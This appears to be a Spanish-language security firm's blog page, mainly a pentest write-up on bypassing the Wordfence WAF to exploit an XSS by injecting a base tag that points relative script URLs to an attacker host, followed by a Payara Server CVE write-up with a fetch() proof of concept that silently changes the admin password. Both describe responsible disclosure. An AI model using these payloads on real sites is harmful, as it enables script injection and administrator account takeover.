Evadiendo el WAF del mejor plugin de seguridad de WordPress: "‘WordFence"

DeepSecurity • March 11, 2020
Un fondo blanco con algunas líneas.
El logotipo de la palabra valla es azul y negro sobre un fondo blanco.

Muchos clientes piensan que una solución de Web Application Firewall (WAF por sus siglas en inglés) es una solución total para detener ataques web, como inyecciones SQL o Cross-Site Scripting.


Queremos compartir con nuestros seguidores cómo durante un servicio de pentest web, el equipo de research de DeepSecurity, encabezado por Camilo Galdos, se propuso crear una excepción en el WAF del plugin de seguridad más reconocido para el aseguramiento de plataformas WordPress, que actualmente protege aproximadamente a 3 millones de sitios web en el mundo, donde pudimos identificar una vulnerabilidad de Cross-Site Scripting (XSS) y bypasear al WAF de WordFence mediante el uso de URLs relativas y así explotar la vulnerabilidad en nuestro cliente.


¿Existen vulnerabilidades en WAF de WordFence?

Durante uno de nuestros servicios de pentesting, que es básicamente un ataque a un sistema informático que tiene la intención de encontrar las debilidades de seguridad antes que los chicos malos lo hagan, encontramos una plataforma WordPress protegida por la solución de WordFence Premium, ambas en su versión más reciente.


Cuando comenzamos con las labores de reconocimiento (fingerprint), notamos que WordPress contaba con una plantilla (template) propia. Al iniciar la búsqueda de vulnerabilidades identificamos que era vulnerable a Cross-Site Scripting en el formulario de búsqueda.


En este punto empezó el reto. El WAF de Wordfence protege de forma activa las variables por método GET y hasta el momento habíamos identificado la siguiente complejidad:



<maquee>foo → PASS

<marquee onstart=>foo → BLOCK

<marquee onTest=>foo → BLOCK

<div width=>foo → PASS

<script>foo → BLOCK

<marquee>alert(1) → BLOCK



Identificamos que el WAF bloqueaba todos los eventos (onmouseover, onstart, onclick, etc.) y no permitía el uso del tag <script>. Esto limita bastante las posibilidades de encontrar un vector válido para bypassear el WAF. Sin embargo, continuamos con el análisis para intentar evadir la protección y pudimos notar un detalle en el código fuente de la aplicación que nos resultó bastante interesante.


Código referencial encontrado en el footer de la web:



<script src=’/static/scripts/email-validation/emailvalidation.min.js’> </script>



Como se puede visualizar en la etiqueta Script antes expuesta, se ve un link hacia un archivo Javascript llamado “emailvalidation.min.js”. El detalle importante es que, comparado con los otros scripts cargados por el sitio, este tiene una particularidad:



<script src=’/static/scripts/email-validation/emailvalidation.min.js’> </script>

<script src=’https://cdnjs.cloudflare.com/ajax/libs/jquery/3.3.1/jquery.min.js’> </script>

<script type=’text/javascript’ src=’https://www.example.com/wp-includes/js/jquery/jquery.js?ver=3.1.4′> </script>

<script type=’text/javascript’ src=’https://www.example.com/wp-includes/js/jquery/jquery-migrate.min.js?ver=1.4.1′> </script>



Al revisar esto se puede identificar que uno de los links a los archivos Javascript no tiene dominio antepuesto a la ruta del servidor donde se encuentra. Según el estándar de HTML 5.3, hosteado por la W3C, cuando ninguna ruta absoluta es especificada (dominio y path) antes de llamar un elemento con fuente (src), la fuente coge el fallback URL que es valor del documento actual, es decir:


Si cargo https://www.example.com/wordpress/ el script cargado sería el siguiente:




https://www.example.com/wordpress/static/scripts/email-validation/emailvalidation.min.js




La parte interesante es que el estándar también menciona un dato que llama la atención:


Existe un tag HTML mediante el cual se puede especificar la URL base para que los otros elementos usen. Cuando hicimos la siguiente prueba de payload el WAF no saltaba:




<a href=//attacker.pe>foo → BLOCK

<base href=//attacker.pe> → PASS


Al inspeccionar con la consola de Chrome, se pudo apreciar lo siguiente:


Usando el payload adecuado: <base href=//attacker.pe> hemos conseguido que todas las URLs relativas del documento apunten a un dominio de nuestro control. Dicho esto, solo nos quedó crear el path en nuestro host:




https://attacker.pe/static/scripts/email-validation/emailvalidation.min.js



Y al ingresar al link del XSS con nuestro payload, hemos bypasseado el WAF de Wordfence mediante URLs relativas.


Un caso de éxito con resultados positivos para WordFence


Nuestro trabajo en DeepSecurity solventó esta vulnerabilidad y adicionalmente tuvo resultados positivos en el plugin de WordFence. Además de haber reportado el bug al cliente, también se reportó el método de bypass a WordFence.


El equipo de WordFence respondió de forma positiva a este reporte y en un excelente tiempo, ya que en el mismo día de la notificación asignaron el caso para trabajar en su resolución. Actuaron de forma rápida para evitar que sus clientes se vieran afectados por este bypass y para ello, apenas tres días después del reporte, añadieron una nueva regla a su WAF, por lo que ahora el payload <base href=//url> es detectado como malicioso.


Esto demuestra la importancia de contar con un servicio dedicado a la ciberseguridad que sea capaz de detectar fallos en grandes organizaciones para encontrar soluciones que mantengan a los piratas informáticos alejados de los sitios web. Esta es nuestra labor y la llevamos al punto máximo de exigencia para ofrecer resultados y calidad en cada trabajo.


Línea de Tiempo:

  • Conocimiento sobre el Bypass: 24 de Julio
  • Reporte a Wordfence: 31 de Julio
  • Wordfence Asigna ID 1170 al caso: 31 de Julio
  • Wordfence añade una regla: 3 de Agosto
  • Equipo de DeepSecurity confirma la regla: 5 de Agosto.


Agradecimientos especiales a Jesús Espinoza Soto por su participación en esta investigación.

CVE-2025-14340 De XSS Reflejado a Takeover Completo de Administrador en Payara Server

24 de marzo de 2026
Análisis rápido Durante una revisión de la interfaz REST de administración de Payara Server se identificó una cadena de explotación en la que un XSS reflejado podía combinarse con un flujo inseguro de cambio de contraseña para derivar en takeover completo de la cuenta administrator. La severidad real del caso no estaba en una sola falla, sino en la forma en que varias decisiones de diseño reducían la resistencia del panel frente a ejecución de JavaScript en el mismo origen. El impacto no dependía únicamente del XSS. La cadena se volvía crítica por la combinación de cuatro elementos: - XSS reflejado en un endpoint administrativo - Cambio de contraseña sin validar la contraseña actual - Basic Auth enviada automáticamente por el navegador - Protección anti-CSRF débil basada en X-Requested-By En conjunto, esto permitía que un administrador autenticado, al visitar un enlace malicioso, terminara ejecutando una solicitud válida contra el endpoint de cambio de contraseña. Por esta vulnerabilidad me asignaron el CVE-2025-14340 XSS y el punto de entrada El primer componente era un XSS reflejado en el endpoint de versión de la consola: GET /management/domain/version?xss= HTTP/1.1 Host: panel.example.com:4848 En una consola de este tipo, un XSS no solo afecta la vista del usuario. También permite interactuar con funciones sensibles usando el mismo contexto autenticado del administrador. El CSRF que convierte el bug en takeover El segundo componente estaba en /management/domain/change-admin-password . De forma resumida, el flujo aceptaba una solicitud similar a esta: POST /management/domain/change-admin-password HTTP/1.1 Host: panel.example.com:4848 X-Requested-By: GlassFish REST HTML interface Content-Type: application/x-www-form-urlencoded id=admin&newpassword=[REDACTED]&password=[REDACTED] Lo problemático no era solo que cambiara credenciales, sino dos agravantes de diseño: No exigía la contraseña actual La “protección” anti-CSRF se basaba en X-Requested-By . Ese header funcionaba como una cabecera personalizada para marcar que la solicitud provenía del frontend esperado. El problema es que no era un control fuerte frente a JavaScript malicioso ejecutándose same-origin . ¿Header X-Requested-By ? X-Requested-By era, en la práctica, la señal que el backend utilizaba para distinguir una solicitud “esperada” de una solicitud arbitraria. La lógica era simple: si la request incluía la cabecera esperada, el servidor la trataba como legítima. Ese enfoque puede frenar algunos intentos externos básicos, pero deja de ser útil cuando un atacante consigue ejecutar JavaScript dentro del mismo origen de la consola. A nivel práctico, el comportamiento observado podía resumirse en un payload como la siguiente POC . fetch ( '/management/domain/change-admin-password' , { method: 'POST' , headers: { 'X-Requested-By' : 'GlassFish REST HTML interface' , 'Content-Type' : 'application/x-www-form-urlencoded' }, body: 'id=admin&newpassword=admin123&password=admin123' }); Y ahí aparecía el punto crítico de la cadena: el backend aceptaba una solicitud con la cabecera esperada, mientras el navegador adjuntaba automáticamente las credenciales administrativas mediante Basic Auth. https://panel.example.com:4848/management/domain/version?xss Full exploit: https://github.com/DeepSecurityResearch/CVE-2025-14340 Explotación y Same-Origin La explotación no dependía de una petición cross-origin convencional, sino de la ejecución de JavaScript dentro del mismo origen de la consola administrativa. ¿Por qué el CSRF solo es explotable mediante el XSS? Debido a que el endpoint usa Basic Authentication, explotarlo remotamente desde un origen externo es imposible: - CORS bloquea requests cross-origin al endpoint de administración - Basic Auth no puede forzarse desde otro dominio sin cooperación del navegador - El header X-Requested-By no puede añadirse en requests cross-origin Ese detalle era determinante. Una vez obtenido el XSS, el atacante podía interactuar con el endpoint de cambio de contraseña desde el mismo contexto que la interfaz legítima, incluyendo X-Requested-By y aprovechando el estado autenticado del administrador. En ese punto, el XSS dejaba de ser un hallazgo aislado y se convertía en la primitive necesaria para comprometer directamente la cuenta administrativa. Vectores de ataque Campaña de Phishing Dirigido Un atacante envía un email convincente con apariencia de "actualización de seguridad" que contiene el enlace malicioso. Cuando el administrador hace clic mientras está logueado, la contraseña se cambia silenciosamente. Watering Hole El atacante compromete un sitio interno frecuentemente visitado e inyecta un iframe invisible con el exploit. Al visitar el sitio, el exploit se ejecuta automáticamente en segundo plano sin indicación visible. Supply Chain Un atacante compromete la documentación de una herramienta usada por el equipo de operaciones. Al seguir un enlace de la documentación para troubleshooting, la cuenta queda comprometida. Capacidades del Atacante con acceso a la consola de administración: - Desplegar aplicaciones maliciosas (WAR/EAR files) - Modificar configuración del servidor - Acceder a datos de aplicaciones desplegadas - Crear mecanismos de persistencia - Extraer credenciales de datasources Conclusión CVE-2025-14340 demuestra cómo vulnerabilidades moderadas se convierten en críticas cuando se encadenan. Un XSS reflejado (severidad media) combinado con ausencia de protección CSRF (severidad baja-media) resultó en account takeover completo de administrador. La falla no residía únicamente en el XSS reflejado, sino en la forma en que esa primitive podía encadenarse con una operación sensible insuficientemente protegida. En este caso, el resultado final era claro: un XSS en contexto administrativo terminaba habilitando el takeover completo del administrador. Nota sobre el Coordinated Disclosure Esta vulnerabilidad fue reportada siguiendo prácticas de divulgación responsable. El período de coordinación de 113 días permitió al vendor desarrollar y desplegar un fix antes de la divulgación pública. Sin embargo, el proceso presentó desafíos. A pesar del compromiso inicial del vendor de coordinar la publicación del CVE y asegurar la atribución apropiada, la comunicación fue inconsistente. El CVE fue publicado sin la notificación prometida y sin la atribución acordada, situación que se corrigió posteriormente tras solicitarlo. Esta experiencia subraya la importancia de:  Políticas claras de disclosure Comunicación proactiva durante el proceso Respeto a los acuerdos de atribución Documentación exhaustiva de todas las interacciones
Gráfico oscuro con

CVE-2025-58765: XSS Reflejado en Wayback Machine - Wabac.js

por Camilo Galdos • 4 de marzo de 2026
Análisis Rápido: XSS en Wayback Machine CVE-2025-58765

Introspector Framework: Out-Of-Band Pentest Tool

por Camilo Galdos • 20 de febrero de 2026
 Introspecto r es un framework ofensivo diseñado para analizar y explotar comportamientos HTTP avanzados que ocurren “fuera” de la respuesta inmediata desde el servidor web (OOB - out of band). Más allá de un simple request/response, el objetivo es reconstruir la ruta de ejecución completa de un payload incluyendo patrones de redirección, resoluciones DNS, ejecución de solicitudes encadenadas y seguimiento de recursos servidos por el backend. En escenarios reales, muchas vulnerabilidades críticas no se manifiestan en el HTML de salida (response), sino en la infraestructura intermedia y el comportamiento del backend: balanceadores, reverse proxies, WAFs, CDN, resolvers DNS, caches, microservicios internos y clientes HTTP automatizados . Introspector está diseñado para capturar ese “lado invisible” del flujo, registrando redirecciones, reintentos, resoluciones DNS, follow-ups automáticos, y solicitudes encadenadas que pueden ocurrir segundos después y en hosts completamente distintos. Fue creada por el equipo de research de DeepSecurity específicamente para ir más allá de Burp Collaborator , permitiendo observar no solo si existe interacción OOB, sino cómo ocurre , qué componente la dispara, qué endpoint exacto la origina y qué cadena de ejecución se activa después (DNS, redirects, retries, fetches secundarios, etc.). En la práctica, Introspector ha sido utilizado tanto en proyectos con clientes como en iniciativas de research y bug bounty , sirviendo como base para hallazgos reales y reportes públicos, incluyendo Blind SSRF en Microsoft Ads , Host Header Injection + DoS en Microsoft , y vulnerabilidades CVE 2025 - 2026 reportadas responsablemente a plataformas como GlassFish y Payara . ¿Por qué usar Introspector en un pentest avanzado? Este tipo de visibilidad es clave para explotar y validar vulnerabilidades modernas como: SSRF (incluyendo SSRF ciego y SSRF con pivot a redes internas) Host Header Injection (en especial cuando la app construye URLs absolutas para resets de password, links de verificación, callbacks, etc.) Comportamientos anómalos en balanceadores / proxies (reescritura de Host, X-Forwarded-Host, X-Forwarded-Proto, Forwarded) HTTP Request Smuggling (cuando el front-end y back-end interpretan distinto Content-Length / Transfer-Encoding) Vulnerabilidades HTTP basadas en headers (cache poisoning, routing inconsistencies, internal URL generation, open redirect indirecto)

Host Header Injection + DoS en Microsoft

por Camilo Galdos • 30 de agosto de 2025
¿Qué es Host Header Injection?

Blind SSRF en Microsoft Ads

por Camilo Galdos • 24 de julio de 2025
Server-Side Request Forgery para Pentesters
Un fondo azul con dos manos y las palabras

Ethical Hacking Smart Contracts

4 de septiembre de 2023
¿Por qué se siguen reportando incidentes en los Smart Contracts? Hay varias razones por las que los smart contracts siguen siendo un objetivo para un actor de amenaza, aca les mencionamos las principales.
Una langosta verde en una rama, y el mensaje de pruebas de penetración vs bug bounty

Bug Bounty vs Penetration Testing: ¿Cuál es el enfoque correcto para tu organización?

8 de agosto de 2023
Los programas de bug bounty (recompensas por errores) y penetration testing (pruebas de penetración son dos enfoques distintos para las pruebas de seguridad, cada uno con sus propios beneficios y consideraciones. Si bien algunos pueden verlos como métodos opuestos, en realidad pueden funcionar en conjunto para mejorar la postura de seguridad de una organización. Es importante comprender las diferencias entre los dos y evaluar qué enfoque se alinea mejor con las metas, el objetivo y los recursos específicos de la organización.
Un mapa azul de América del Sur tiene un fondo azul oscuro.

Análisis de SMBGhost en Latinoamérica

por DeepSecurity • 24 de junio de 2020
SMBGhost (CVE-2020-0796) es una vulnerabilidad de ejecución remota de código, no autenticada, en Microsoft Server Message Block 3.1.1 (SMBv3). La vulnerabilidad sólo requiere que el puerto 445 esté abierto, y un atacante podría conectarse y ejecutar comandos sin necesidad de tener usuario o contraseña.
Un virus azul sobre fondo negro con las palabras reporte de ciberinteligencia

Reporte de Ciberinteligencia - Operación: APAKUY

por DeepSecurity • 1 de junio de 2020
Durante nuestras investigaciones de ciberinteligencia encontramos un grupo en Telegram donde se mencionan distintos temas desde hacking de aplicaciones web hasta robo de tarjetas (carding). Encontramos que algunos de los 550 ciberdelincuentes miembros de este grupo publicaban información sobre un fallo en la web del bono universal que permitía apropiarse del bono de los beneficiarios.
Una estatua de un oso está comiendo una hoja sobre un fondo negro.

Reporte de Ciberseguridad en las Aplicaciones Móviles de Home banking en Perú

por DeepSecurity • 21 de mayo de 2020
El último año ha sido clave para la expansión digital de los bancos peruanos. Se han lanzado al mercado todo tipo de utilidades y aplicaciones que ayudan a las personas a gestionar su dinero de una manera más fácil. En DeepSecurity, nos preocupamos por la ciberseguridad del sistema financiero local y por eso hemos llevado a cabo un análisis pasivo (no-intrusivo) de las aplicaciones móviles de 12 bancos del Perú.